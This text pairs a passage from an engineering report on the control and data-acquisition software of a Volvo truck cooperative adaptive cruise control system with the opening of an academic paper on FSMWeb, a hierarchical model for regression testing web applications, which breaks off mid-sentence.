Software System Development Software control and data acquisition for the Cooperative Adaptive Cruise Control (CACC) system was constructed in three levels, described below. A schematic of the control system is depicted in Figure 3-1, in which the high-level software comprises the control algorithm and DVI, and the middle and low-level software comprises the subscribe/publish database and interfaces. Figure 3-1 Schematic of Truck CACC data acquisition hardware/software interface on the Volvo VNL trucks. Is the schematic of CACC data acquisition hardware/software interface on the Volvo VNL trucks. The human truck driver sends control signals from the DVI to the control algorithm, which calculates the appropriate torque to send to the engine control module. The control algorithm also sends engine braking torque commands to the engine retarder and deceleration commands to the service brakes if needed. In this schematic, the software modules labeled “Interface” are a combination of a low-level driver and middle level database clients. High-level software comprises the consumers of sensor data and control sources for the truck control modules and DSRC communication. Middle-level software comprises the program used for inter-process communications (IPC), db_slv, and various programs used for reading sensor data from, and sending control messages to, the low-level drivers. Low-level software comprises the hardware drivers necessary for communicating with hardware such as the truck Controller Area Network (CAN), GPS, Dedicated Short Range Communications (DSRC) radio, Driver Vehicle Interface (DVI) via a wireless router, and a laptop that was used for monitoring system status and starting it up. The PATH software is started up in reverse order of the above list, with the low-level software being started first, then the middle-level software, and finally the high-level software. It is started either at boot time with a shell script, or more usually, by a trained truck driver or passenger using a simple menu program called simple_menu (see Figure 3-2). ![Figure 3-2 Simple menu script for testing, starting, and stopping PATH CACC software.](image-url) Figure 3-2 above is a screen shot of a simple menu script for testing, starting, and stopping PATH CACC software. The operator presses a '1' to run a series of tests on the CAN buses, DVI communication, and GPS system time. The control software is started by pressing '4', and stopped after the run by pressing ‘5’. After starting the truck, the operator types a ‘1’ at the menu prompt, and the script runs a series of tests for basic operation of the CAN bus, DVI communication, and GPS system time. If there is an error, the operator checks hardware configuration such as position of the kill switch in the absence of CAN traffic, or connection with the wireless router if the DVI does not change its display state. (Troubleshooting tips are suggested on the Simple Menu screen if there is an error.) Once system testing is completed successfully, regular operations may begin. The operator presses a ‘4’ to start up the control software and data logging. Software startup is described below, in the “Middle-level Software” section. The truck driver starts driving manually, and once the truck reaches minimum cruise control speed (at least 15 mph), he/she enables cruise control and the system begins active control. When the run is completed, the truck driver taps the service brake to disable cruise control, and the operator types a ‘5’ on the Simple Menu display to stop the software and complete data logging. 3.1 Brief Description of Single and Multiple Vehicle Control For the purposes of this section, a brief description of how a single truck is normally controlled, and the addition of communication for multiple vehicle cooperative control, is in order here. 3.1.1 Manual and Cruise Control (CC) There are five hardware Electronic Control Modules (ECM) that directly pertain to truck control: engine, engine retarder, transmission, braking, and instrument control panel. An Electronic Control Unit (ECU) serves as the “brain” that coordinates the other control modules. They all must interact with each other for proper control. For instance, if the driver sets a cruise control speed on the instrument panel, messages must be conveyed to the engine to provide the correct positive torque to match the set speed, or negative torque to the engine retarder to slow the truck to that speed. The transmission must choose the correct gear and gear progression to reach the set speed given the torque changes. These messages are transmitted on the truck’s Controller Area Network (CAN), and the values of the various physical parameters are calculated by firmware in the ECU. 3.1.2 Adaptive Cruise Control (ACC) For Adaptive Cruise Control (ACC), Volvo has added a video + radar subsystem that searches for targets in front of the vehicle, as well as the firmware needed to control the ECMs via the truck CAN network (CAN1). This system is contained in a Volvo Enhanced Control unit (VECU). If a target is acquired, the cruise control system is notified, and the truck modifies its speed to the minimum of either the set speed, or the preceding target speed, given a time gap that is also set by the driver. Volvo engineers also added the transmission of target parameters (“target acquired”, target distance, speed, and acceleration) on a separate CAN bus (CAN2) to the PATH control computer so that PATH could use that data in its Cooperative Adaptive Cruise Control (CACC) system. 3.1.3 Cooperative Adaptive Cruise Control (CACC) PATH engineers have augmented Volvo’s VEC with inter-truck communication among multiple trucks. Each truck transmits its own CAN1 and CAN2 data, as well as its GPS position, to other similarly-equipped trucks. This allows for multiple truck platooning, since each truck immediately knows the position, braking status, engine torque, engine retarder torque, etc. of the other trucks, thus allowing for much faster response times. Communication is done wirelessly, via DSRC radios, using the SAE J2735 Basic Safety Message (BSM) that contains GPS position, vehicle speed and acceleration. We also added CACC-specific fields beyond the standard BSM message contents. 3.2 High-level Software High-level software comprises the control sources and consumers of sensor data for the truck control modules and DSRC communication. These programs are the control algorithm, long_trk, and the driver-vehicle interface, comprising the Galaxy Tab S2 tablet computer running the Qt program PATH_App_Berkeley, written by Volvo and customized by PATH. 3.2.1 Path_App_Berkeley PATH_App_Berkeley is a Qt program running on a Samsung Galaxy Tab S2 that serves as the Driver-Vehicle Interface (DVI) between the human truck driver and the PATH CACC system. The DVI (see figure 3) is a touchscreen display that allows the driver to decrease/increase the time gap between his truck and the preceding truck (the two sets of arrows) and set the following algorithm to either Adaptive Cruise Control (ACC) or Cooperative Adaptive Cruise control (CACC) by pressing the appropriate button on the DVI. A button press triggers a UDP (User Datagram Protocol) message that is sent wirelessly from the tablet to the control computer via a dLink Model 822 wireless router. Status messages (e.g. control status of the ego truck or other trucks, braking, target availability, communication status, time gap) are sent by the control computer to the DVI. Figure 3-3. Screenshot of the Driver Vehicle Interface (DVI) Figure 4.1 is a screen shot of the Driver Vehicle Interface (DVI). Its main functions include: (a) for the driver to learn the current status of several critical components such as vehicle position in the platoon, driving mode (manual, CC ACC or CACC), DSRC health, service brake use of all the vehicles in the platoon; and (b) for the driver to select drive mode between ACC or CACC (for the following trucks, since the lead truck is always in CC or ACC) and Time-Gap for ACC and CACC driving mode. More detailed DVI descriptions were presented in a separate report. UDP messaging is used to send/receive messages from/to the control algorithm. The two sets of arrows send time gap requests, and the CACC/ACC radio button sends CACC or ACC control mode requests. The current status of the control system is contained in UDP messages received from the control computer. 3.2.2 long_trk long_trk is the control program for CACC control of all three of the trucks. It receives data from the host truck CAN bus and data communicated from the other trucks and calculates the correct engine/engine retarder torque and braking pressure to send to the engine, transmission, and engine retarder control modules. It also determines the status messages to send to the DVI. 3.3 Middle-level Software Middle-level software comprises the database server program used for inter-process communications (IPC), db_slv, and various client programs used for reading sensor data from, and sending control messages to, the low-level drivers. The order in which the middle-level software is started is important; db_slv is started first, and then the database clients are started up in the following order: trk_cr, can_man, rdj1939, jbussend, jbussendGPS, gpsdb, trk_wr, veh_snd, veh_rcv, dvi_snd, and dvi_rcv. long_trk is also a database client, and it is started last. The interface schematic of Figure 3-1 is repeated in Figure 3-4 with the middle-level software and low-level drivers distinguished by the outline color and including the program names of the software used. Software Architecture Data in: - CAN1: speed, acceleration data from ego truck - CAN2: target speed, distance, and acceleration from Volvo LIDAR/vision system - GPS: absolute position and UTC time - DVI: gap request and ACC/CACC request status Data out: - CAN1: engine torque, engine retarder torque, foundation brake pressure - DVI: gap request and ACC/CACC request status acknowledgement Control in: - Control algorithm: engine torque, engine retarder torque, foundation brake pressure Data out: - CAN1: vehicle speed, acceleration, engine torque, engine retarder torque, foundation brake pressure - CAN2: target distance, speed, and acceleration from Volvo LIDAR/vision system Data in: - GPS position, speed, and heading, system time of other trucks Data out: - GPS position, speed, and heading, system time of other trucks Outline color indicates software level: - Sienna is high-level - Blue is middle-level - Black is low-level Figure 3-4 Copy of figure 1 with the middle and low-level software separated and with all programs named. The above Figure 5.1 is similar to figure 1 with the middle and low-level software separated and with all programs named. It shows the logical relationships of all the programs. The functionalities of major named programs are described in more detail in the following subsections. 3.3.1 db_slv db_slv is a publish/subscribe database server. It is the hub for data and control exchanges among the high and middle-level programs. When started up, db_slv registers the database with the QNX operating system and returns a channel ID so there is a target for clients to attach to. It then sets up synchronous message handling so that when a message is received, new messages are blocked until the first one is dealt with. When a database client connects to db_slv, the client sends a numerical name (a database variable), a pointer to a C structure, and the size of that structure, and db_slv allocates memory for it and sets up the messaging system that will be used for further communication. The client may also request that a trigger be associated with this database variable, so that if the values of one of the C structure members changes, the client will be notified with a message, and it can then deal with the new data. 3.3.2 trk_cr trk_cr creates and initializes all the database variables that the database clients will use. This program was created because if a client tries to read or write a nonexistent database variable, an error is generated, and that client may terminate. Also, it’s just easier to have all the database variable creates and initializations in one place. 3.3.3 can_man can_man is the CAN manager. It serves as both the low-level driver and medium-level database program for reading data from the two CAN networks on the truck and writing this raw binary data to the db_slv database. It also reads control signals from the database and writes them onto the CAN buses. Triggering for certain database variables was enabled so that whenever control signals are written to the database, can_man will be triggered to read them and forward them to the CAN buses. It was written by PATH to configure and communicate with two different chipsets: Phillips SJA1000 and Intel i82527, before those companies provided QNX drivers of their own. can_man may be configured for either chipset. We use the RTD ECAN527D Dual-port CAN card, so can_man is configured for the Intel chipset. Since the ECN527D CAN card communicates on the older ISA bus, it is not a plug-and-play device. So, its configuration parameters (viz. interrupt request line and base address) are set with jumpers on the card (see Figure 3-5). The base address of CAN1 is set on jumper JP3 for 0xda000. The base address of CAN2 is automatically assigned to an offset of 0x200 above CAN1, so its base address is 0xd200. The ECAN527D interrupt outputs are connected to the interrupt lines on the ISA bus using jumpers JP1 for CAN1 and JP2 for CAN2. In the figure, CAN1 is set to IRQ10 and CAN2 is set to IRQ7. When can_man is started up, the same configuration set with the jumpers on the CAN card must be conveyed to the software. This is done with options sent to can_man. For CAN1, can_man is started with the following command: ``` can_man -n /dev/can1 -s 250 -i 10 -p 0xda000 -e 1 ``` For CAN2, can_man is started with the following command: ``` can_man -n /dev/can2 -s 500 -i 7 -p 0xda200 -e 1 ``` As may be surmised from the above hardware description, -n gives the device name as assigned by the QNX operating system, -i gives the interrupt line to be used by the software, and -p gives the base address of the I/O map into system memory. The -s option gives the speed of the particular CAN bus; 250,000 bits/second for CAN1 and 500,000 bits per second for CAN2. The -e option tells can_man whether the standard length of the CAN message header (11 bits) or the extended length (29 bits) is being used. Both CAN buses are using the extended header length. Figure 3-5 RTD ECAN527D CAN card configured for Volvo truck control. Figure 3-5 is a photo of the RTD ECAN527D CAN card configured for Volvo truck CACC of the project. Jumper JP3 is configured for a base address of 0xDA000 for CAN1 and 0xDA200 for CAN2. Jumper JP1 configures CAN1 for IRQ10, and jumper JP2 configures CAN2 for IRQ7. 3.3.4 rdj1939 rdj1939 reads the SAE J1939-formatted binary CAN messages that were written to the database by can_man, parses the binary data into the appropriate integers, floating points, and flags, and writes the results back into the database. For the truck CAN, CAN1, there is a standard set of messages defined by SAE International for automotive uses. Information such as engine torque, brake pedal position, brake pressure, engine retarder torque, cruise control switch status, cruise control set speed, and so on, are all transmitted on CAN1 periodically, at intervals ranging from 10 ms to 100 ms. Control signals from long_trk must also be transmitted periodically, with a bus error resulting from missed messages. For the Volvo target acquisition system on CAN2, a small set of J1939-formatted messages was agreed to among Volvo and PATH engineers. One message provides target availability and target distance, speed, and acceleration. Another message provides ego (self) vehicle speed and acceleration. 3.3.5 jbussend and jbussendGPS jbussend and jbussendGPS are essentially the same program. They both read control signals from the database, convert them into J1939 messages, and periodically write the binary data back to the database. For jbussend, database write to certain database variables will trigger database reads of those same variables by can_man, which then forwards the messages onto the appropriate CAN bus. jbussendGPS writes directly to its CAN bus. The main difference between jbussend and jbussendGPS is that jbussend writes control variables associated with the truck CAN and jbussendGPS directly writes CAN messages to the Volvo targeting system CAN. As its name implies, jbussendGPS reads GPS position and UTC time data that was written to the database by gpsdb, packages it into the custom CAN message agreed to by PATH and Volvo engineers, and writes the data directly to CAN2. jbussendGPS also reads the control variables for engine and engine retarder torque and writes those to CAN2 in the same message. All of these data are needed for the Volvo targeting system for predicting truck trajectory. 3.3.6 gpsdb gpsdb is the database client that opens a connection to one of the serial ports that has been configured by ser-8250, the serial port driver. A Garmin 18x-5 Hz GPS is connected to that serial port, and outputs GPS position, speed, altitude, heading, number of satellites, UTC time, and horizontal degree of precision. gpsdb reads and parses the NMEA sentence and writes the data to the database. GPS data are used for various purposes: truck positioning in platoon, system time synchronization (and therefore data synchronization on different trucks), and trajectory prediction, among other things. 3.3.7 trk_wr trk_wr is the main data logging program for the control system. It collects all the database variables at 100 ms intervals and writes them to a growing buffer in memory. When a run is finished and the operator hits a ‘5’ on the simple_menu screen, the collected data is saved to a data file named with the timestamp of the start of the run. (There are also debugging files for the other database clients that may be optionally saved. If there are other files, they are also named with the same startup timestamp.) 3.3.8 veh_snd and veh_rcv veh_snd and veh_rcv are the database clients that send and receive BSM messages to and from the ITRI DSRC radio, respectively. veh_snd reads the current GPS coordinates and UTC time; truck CAN data such as vehicle speed and acceleration, brake switch status and brake pressure; Volvo targeting data such as preceding vehicle distance, velocity, and acceleration; and necessary control parameters such as CC/ACC/CACC status and requested engine retarder torque from the database. veh_snd then adds the ego truck ID, packages the data into the appropriate fields in the BSM message, and broadcasts the BSM message at 100 ms intervals via the ITRI DSRC radio. veh_rcv performs the reverse operation of veh_snd. It waits to receive a BSM message, unpacks the message, identifies which truck the message is from, and writes the data to the appropriate database variables. These data are used by long_trk for ACC/CACC control and by the DVI to indicate ego truck position; and preceding and following truck communication status, braking, and Manual/ACC/CACC status. 3.3.9 dvi_snd and dvi_rcv dvi_snd and dvi_rcv are the database clients that send and receive UDP messages to and from PATH_App_Berkeley, the Qt application running on the Galaxy tablet that is the DVI, respectively. dvi_rcv receives UDP messages sent by PATH_App_Berkeley, parses them into the appropriate database variables, and writes the data to the database. The messages sent include control requests that are sent by touchscreen presses by the truck driver. They are: increase time gap, decrease time gap, enable CACC control, and enable ACC control. A button press on the touchscreen is indicated to the truck driver by a momentary enlargement of an arrow or a “glow” enhancement to the ACC or CACC control button. However, actually changing the control status of the truck depends on long_trk, the control algorithm. It is possible, for instance, that CACC control cannot be enabled because there is no communication with the preceding truck. If a driver attempts to enable CACC under that condition, the CACC button will glow but the display of the ego truck and will remain gray, indicating ACC control. The actual status of the control system is contained in messages sent by dvi_snd. dvi_snd reads control status database variables, packages them into UDP messages, and sends them to the DVI via a dlink wireless router. The DVI display status is controlled by several inputs: the control algorithm sets the actual time gap and ACC/CACC status; braking status is read directly from the truck CAN bus; target availability is read directly from the Volvo target acquisition system CAN bus; communication status with other trucks is calculated within dvi_snd using the time since last message reception from a given truck. 3.4 Low-level Control Low-level control comprises the software drivers that communicate directly with hardware. Except for can_man (described above), they are standard QNX drivers used for ethernet and serial devices. 3.4.1 io-pkt-v4-hc io-pkt-v4-hc is the ethernet driver for QNX 6. It is used for communication with the LAN ports on the wireless router (DVI communication) and DSRC radio (inter-truck communication). 3.4.2 devc-ser8250 devc-ser8250 is the serial port driver for QNX 6. It is used for the 5 Hz input from the Garmin GPS. 4 Summary and Conclusion This section documents the hardware and software development for truck CACC. The hardware components include: PC-104 computer, DSRC communication, interface with J-1939 Bus, GPS, driver-vehicle interface (DVI), power supply, GPS, emergency switch, network switch, WiFi router. Accordingly, software has been developed to link all those components with the PC-104 computer which runs long_trk for CACC control. PATH team intended to control the Volvo truck as it is without any additional actuators. The PC-104 computer runs QNX 6 as the Real-Time Operating System (RTOS) which is small kernel high efficient able to run with very high frequency with reliability. PATH have been using QNX over 25 years. Therefore, it is highly recommended to use QNX as the RTOS for any safety critical control system. The software structure PATH has developed over the past thirty years has also been proved to be reliable and versatile in the sense that it can accommodate multiple interface with any process scheduling problem. One lesson was that the DVI tablet would be better linked with PC-104 with cable instead of WIFI for convenience for software development and better reliability. We originally selected WiFi as the connection was mainly for demo purpose – the guest on in the truck could hold the second DVI in hand for better view.
{"Source-Url": "https://path.berkeley.edu/sites/default/files/task_2.3_truck_instrumentation_2018_03_23.pdf", "len_cl100k_base": 8272, "olmocr-version": "0.1.50", "pdf-total-pages": 28, "total-fallback-pages": 0, "total-input-tokens": 45171, "total-output-tokens": 9445, "length": "2e13", "weborganizer": {"__label__adult": 0.0027103424072265625, "__label__art_design": 0.001852989196777344, "__label__crime_law": 0.00141143798828125, "__label__education_jobs": 0.00274658203125, "__label__entertainment": 0.000400543212890625, "__label__fashion_beauty": 0.0007090568542480469, "__label__finance_business": 0.0011281967163085938, "__label__food_dining": 0.001708984375, "__label__games": 0.00597381591796875, "__label__hardware": 0.1453857421875, "__label__health": 0.00173187255859375, "__label__history": 0.00171661376953125, "__label__home_hobbies": 0.0008897781372070312, "__label__industrial": 0.01678466796875, "__label__literature": 0.00119781494140625, "__label__politics": 0.0006542205810546875, "__label__religion": 0.0026607513427734375, "__label__science_tech": 0.1885986328125, "__label__social_life": 0.00026488304138183594, "__label__software": 0.030609130859375, "__label__software_dev": 0.42578125, "__label__sports_fitness": 0.0015535354614257812, "__label__transportation": 0.16259765625, "__label__travel": 0.0009794235229492188}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 38503, 0.0466]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 38503, 0.27902]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 38503, 0.88056]], "google_gemma-3-12b-it_contains_pii": [[0, 262, false], [262, 2739, null], [2739, 4963, null], [4963, 7045, null], [7045, 8230, null], [8230, 9982, null], [9982, 10837, null], [10837, 11947, null], [11947, 12264, null], [12264, 12986, null], [12986, 13388, null], [13388, 14226, null], [14226, 15483, null], [15483, 15890, null], [15890, 15995, null], [15995, 17669, null], [17669, 20061, null], [20061, 22154, null], [22154, 23098, null], [23098, 25154, null], [25154, 26202, null], [26202, 28369, null], [28369, 30161, null], [30161, 30744, null], [30744, 33130, null], [33130, 35088, null], [35088, 37149, null], [37149, 38503, null]], "google_gemma-3-12b-it_is_public_document": [[0, 262, true], [262, 2739, null], [2739, 4963, null], [4963, 7045, null], [7045, 8230, null], [8230, 9982, null], [9982, 10837, null], [10837, 11947, null], [11947, 12264, null], [12264, 12986, null], [12986, 13388, null], [13388, 14226, null], [14226, 15483, null], [15483, 15890, null], [15890, 15995, null], [15995, 17669, null], [17669, 20061, null], [20061, 22154, null], [22154, 23098, null], [23098, 25154, null], [25154, 26202, null], [26202, 28369, null], [28369, 30161, null], [30161, 30744, null], [30744, 33130, null], [33130, 35088, null], [35088, 37149, null], [37149, 38503, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 38503, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 38503, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 38503, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 38503, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 38503, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 38503, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 38503, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 38503, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 38503, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 38503, null]], "pdf_page_numbers": [[0, 262, 1], [262, 2739, 2], [2739, 4963, 3], [4963, 7045, 4], [7045, 8230, 5], [8230, 9982, 6], [9982, 10837, 7], [10837, 11947, 8], [11947, 12264, 9], [12264, 12986, 10], [12986, 13388, 11], [13388, 14226, 12], [14226, 15483, 13], [15483, 15890, 14], [15890, 15995, 15], [15995, 17669, 16], [17669, 20061, 17], [20061, 22154, 18], [22154, 23098, 19], [23098, 25154, 20], [25154, 26202, 21], [26202, 28369, 22], [28369, 30161, 23], [30161, 30744, 24], [30744, 33130, 25], [33130, 35088, 26], [35088, 37149, 27], [37149, 38503, 28]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 38503, 0.06796]]}
olmocr_science_pdfs
2024-12-01
2024-12-01
040e570e5d11507ea8c7601f485dd58b3e3a4d11
Abstract—Web applications have become software commodities of choice due to advances in internet, and wireless communications. Web applications need to be tested during new development, and thereafter during maintenance when presented with changes. Models can be used to represent the desired behavior or to represent the desired testing strategies and testing environment. FSMWeb is a black box model-based testing, and regression testing approach for web applications. This paper elaborates the previous works on FSMWeb’s features, and introduces patching as a regression testing technique in which test cases are repaired (patched) versus being fully regenerated. Patching may lead to cost saving when regression testing. These enhancements lead to construction, and analysis of cost models used to compare various regression testing approaches resulting to selection of a regression testing approach that achieves a favorable (reduced) cost. The determination of favorable cost is subject to number of assumptions, and tradeoffs. Index Terms—FSMWeb, regression testing, patching, cost model, tradeoffs. I. INTRODUCTION The FSMWeb test model was first introduced by Andrews et al. [1] as a test model for web applications. The authors chose to use the Finite State Machine (FSM) as a test model due to the nature of most web applications. Namely, the application services are fulfilled via navigation among the web pages. FSM has inherent limitations including a tendency towards state explosion [2]. FSMWeb is constructed with two main features to overcome FSM’s limitation: 1) the creation of FSMs in a hierarchical structure, and 2) the annotation of transitions (edges) among the FSMs with input parameters and predicates followed by an action (e.g., press of a button). The use of predicates achieves a higher rate of compression than the annotation of inputs on transitions (edges) used in Extended FSM (EFSM) [3]. The two aforementioned features in FSMWeb achieve both a high rate of state compression and scalability [4]. The presence of an action at the end of a string of input parameters implies a transition to the succeeding state. In this way, the model only represents the main functionality, also known as the happy path. The handling of failures and error recovery are subjects of additional enhancements to FSMWeb and is left for future research. The FSMWeb data structure is comprised of nodes (states) and edges (transitions). The FSMWeb is bounded by a start web page node (W_s) and a terminating web page node (W_e) and serve in test case generation. W_s and W_e demarcate FSMWeb’s boundaries; W_s and W_e could be dummy or physical nodes [1]. Except W_s and W_e, all other nodes are either cluster or Logical Web Page - LWP nodes (A LWP is comprised of a state and set of inputs followed by an action (e.g., press of a button). A physical web page contains one or may contain many LWPs) [1], [5]. Figures 1a, 1b, 1c, and 1d represent FSMWeb in various levels of abstraction (i.e. Abstract FSM - AFSM [1]), refinement, or in between. The use of subsystems (ss) and components (c) terms is semantic and implies the existence of subsystems in a more abstract level in relation to components. However, structurally both subsystems and components are cluster nodes that when decomposed result in a set of nodes (e.g. subcluster, and/or LWP) and edges that connect the nodes. In this paper, use of clusters achieves state compression and therefore scalability as a result [4]. There could exist many cluster hierarchies in FSMWeb based on complexity of a web application. For example, W_s could represent a physical portal page for a commercial airline web application, and analogously W_e could represent a web page with an end-of-application exit message; AFSM could represent the entire commercial airline operations; reservation, marketing, maintenance could be represented by subsystems; flight schedule, pricing, seating could represent components of reservation subsystem, and flight reservation (by inputting the traveler’s information) could be represented by one or many LWPs. The cluster nodes includes two dummy entry (n_{DI}) and exit (n_{DO}) nodes. The n_{DI} and n_{DO} nodes are means of keeping the various (including graphical) representations of the model in a Single Entry/Single Exit (SESE) [6] configuration and aids in the test generation process in the different levels of hierarchy. The justification for use of dummy nodes is explained in the later sections. For a given thread of hierarchy, the successive (recursive) decomposition of cluster nodes results to a set of LWP node(s) and connecting edge(s). The successive decomposition of all the cluster nodes in the model results in the most refined representation of the model in which, except for the W_s and W_e nodes, all other nodes are LWP and are connected through edges. Edges represent the input parameters, the predicates, are followed by an action, and are always represented in the most refined level (not subject to decomposition). Edges are classified as either 1) external, or 2) internal (inspired by [7]). An edge is classified as an external edge when the edge is incident on a cluster node (i.e. either entering into a cluster node or exiting out of a cluster node). If an edge is not external then it is internal (i.e. an edge that connects two LWP nodes). In the most refined representation of FSMWeb (i.e. when all nodes are of type LWP, except the W_s and W_e nodes), classification of edges into external or internal [7] aids in determining the cluster node boundaries. The external and internal classification of edges is used to assess the scope of the impact on test cases in the presence of change to edges. Except for W_s and W_e nodes, each and every hierarchical level of FSMWeb could be comprised of a mix (heterogeneous) of cluster and LWP nodes. FSMWeb could also be used for maintenance work. Maintenance may involve fixing errors (corrective), enhancing features (perfective), or modifying or incorporating new features as required (adaptive) [5]. Regardless of the nature of the changes, web applications need to be regression tested to ensure that the intended functionalities are fulfilled. The main goal in regression testing is to reveal as many faults as possible in the SUT (System Under Test) while reducing the required resources (personnel, costs, time to delivery, etc.). In large applications, selective regression testing is preferred in comparison to retest-all [8] since the former achieves a reduction in the required resources assuming that the number of affected test cases due to changes are small in comparison to the total number of test cases. Andrews et al. [5] applied classification to FSMWeb as a vital step in selective retesting in order to classify the test cases that are no longer valid (obsolete), the test cases that have not been altered but need to be re-run to gain confidence for their validity (retestable), and the test cases that have not been affected (reusable) (reusable classification was first introduced by Leung et al. [9]). The classification of test cases are followed by executing the retestable test cases that results to two additional groups of obsolete and reusable test cases based on whether the execution of retestable test cases fails or succeeds. Both the obsolete test cases resulted from classification step and the test cases resulted from executing the retestable test cases need to be replaced by replacement test cases to maintain the existing functionalities. Also, there may be a need for generation of test cases for new functionalities [10], [11]. A salient feature of this paper is a use of patching as a regression testing scheme. Patching focuses on repairing obsolete test cases resulting from a test case’s classification. In this paper, the prevailing assumption is that test case generation (or regeneration) incurs higher cost (effort) in comparison to patching under certain circumstances (minor changes). The preceding is a major assumption by which four different regression testing cost models are compared in this paper. The cost models are constructed for regression testing approaches using classification, classification followed by patching, retest-all, and brute force. The computations, and analysis (comparisons) of these costs are subject to certain assumptions, and/or tradeoffs. The contribution of this paper is as follows: 1) formalization of the FSMWeb and formalization of test case generation (these works are missing in [1] and are vital steps in carrying forward), 2) introduction of patching under certain conditions as an alternative to full test case regeneration, and 3) formulation of cost models through which the aforementioned regression testing approaches are compared resulting to making a decision to select the most favorable regression testing approach. This paper is organized as follows: Section 2 describes the issues that sets this work apart from the other related works. Section 3 formalizes FSMWeb model, describes FSMWeb’s model characteristics (properties), and devise a set of rules for its construction and maintenance. Section 4 explains and formalizes test generation using FSMWeb’s model. Section 5 describes test case classification in regression testing using FSMWeb. Section 6 introduces test case patching as an alternative to full test case regeneration under some conditions. Section 7 proposes cost models used in regression testing in order to examine tradeoffs through cost analysis by comparing the selective retesting using classification, patching, retest-all, and brute force regression testing approaches. Section 8 draws conclusions and suggests future work. Section 9 pays tribute to individuals that helped in embellishing this paper. II. RELATED WORKS This section includes some of the recent related web-based application testing/regression testing works in a chronological order starting with the oldest papers. The Authors’ technique is evaluative (versus predictive) and is not clear if their approach includes regression testing for web applications. The works by Binkley [13]–[15] addressed reduction in regression testing cost using dependence graph/slicing, considering semantic differences/similarities, and employing algorithms (e.g. common execution patterns). Sant et al. [16] used logged user data to construct web application’s models using Markov assumptions resulting to automatically generating test cases. Neto et al. [17] presented a survey of model-based testing approaches classifying testing levels, software domains, level of automation, etc. Do and Rothermel [18], [19] proposed a cost-benefit model for regression testing techniques among which is the cost of repairing obsolete test cases (CO_0). However, the works in [18], [19] do not entail the make up of the CO_0. Park et al. [20] presented historical value based approach for effective regression testing using prioritization that is cost aware. The authors used Average Percentage of Faults Detected (21) as a measure correctness for their approach. Marchetto et al. [22] proposed a state-based testing for Ajax-built web applications. This work involved manipulation of Document Object Model (DOM) of the web page and abstraction in deriving a state model. Test cases were resulted from the state model by deriving them from semantically interacting events. Alshahwan et al. [23] proposed automated session data repair in web applications’ maintenance work. The authors used white-box testing approach to detect changes followed by repair actions. Memon’s work [24] concentrated on Graphical User Interface (GUI) regression testing. The author used repairing transformation to salvage obsolete uses cases. The author’s work involved white-box approach for test repairs. The preceding work was followed by Huang et al. [25] in repairing test cases using Genetic Algorithm (GA). Briand et al. [26] presented regression test selection automation hinging upon UML designs. The authors’ approach was based on design changes and the three test categories of reusable, retestable, and obsolete. Mesbah et al. [27] proposed a technique to cope with non-deterministic behavior of Ajax (web) application when regression testing. The authors suggested to use a set of oracle comparators, template generators, and visualizations for test failures. Spenkle et al. [28] used logged user behavior to construct a usage-based model of web application navigation. This work resulted to creating abstract test cases. Artzi et al. [29] presented an automated test generation for JavaScript by constructing a feed-back framework. Marbach et al. [30] used a regression testing approach for web applications written on PHP. The approach used dependence graphs employing abstract syntax trees to patch test cases considering numeric and string input values. Sampath et al. [31] proposed formalization work of test case prioritization, reduction/minimization, and selection using hybrid criteria (remix of Rank, Merge, and Choice). The authors claimed outperformance of hybrid criteria over the constituent criteria making up the hybrid criteria. The work in this paper is different from the preceding works despite of the overlapping topic coverage. This difference is due to hierarchical feature of FSMWeb which advocates state compression and hence scalability as a result. In regression testing, this feature may help to localize (by considering external edges) the affected nodes and edges under certain conditions and therefore help to isolate the test cases that are affected by changes. Finally, test case patching (versus fully regenerating the obsolete test cases) for minor changes and under special circumstances may contribute to cost saving when regression testing. III. FSMWeb Test Model The FSMWeb’s data structure model is a Hierarchical predicate FSM (HFSM) test ready model for web applications and is defined as follows: \[ HFSM = \{ M_i \}^{r}_{i=0} \] where M represents a model (i.e. FSM), and the subscript \( l = 0, 1, 2, 3, ..., n \) indicates the level where the FSM is located with \( M_0 \) representing the most abstract level (i.e. AFSM = \( M_0 \) [1]). The models (\( M_i \)) consist of the following parameters \[ M_i = < S, P, T > \] where S is the set of states (\( s \in S \)), \( s_0 \in S \) is the initial state, \( s_f \in S \) is the final state, and P is the set of predicates (\( p \in P \)). Ammann et al. [6] has defined predicate as an expression and a set of constraints that evaluates to a boolean value (i.e. true or false). In this paper, we only model valid actions (See “happy path” in section I). So, each and every predicate must evaluate to true. \[ P = < I, ACT > \] I is a set of inputs (\( i \in I \)), and ACT is a set of actions (\( act \in ACT \)). An action (act) triggers a transition given properly formatted inputs (see [1] for input constraints and types). \[ p = i_1, i_2, i_3, ..., i_n, act \] T is defined as a transition function where \( T: S \times P \rightarrow S \) (the set of edges, E can be constructed via the transition function T). The formal definition of FSMWeb’s data structure excludes the output parameter (O) since the states (S) cover the outputs (\( O \subseteq S \)). Hence, states (S) serve as partial test oracles (i.e. \( s_1 \times \{ i_1, i_2, i_3, ... \} \rightarrow s_{i+1} \), is considered a partial test oracle since otherwise \( s_i+1 \) would have not occurred). States (S) are comprised of Logical Web Pages (LWPs) and clusters (CL), where S = LWP ∪ CL and LWP ∩ CL = ∅. A. FSMWeb as a Partitioned Test Ready Model In FSMWeb, low-coupling among subsystems (cluster nodes) or among components (cluster nodes) [1], [5] is the desirable criterion to maintain minimality in test sequence. generation work. Partitioning is not always possible since, in some cases, individual web pages may represent a single function (e.g., login page). However, a single function that is represented by a subsystem could be viewed by the process of applying a 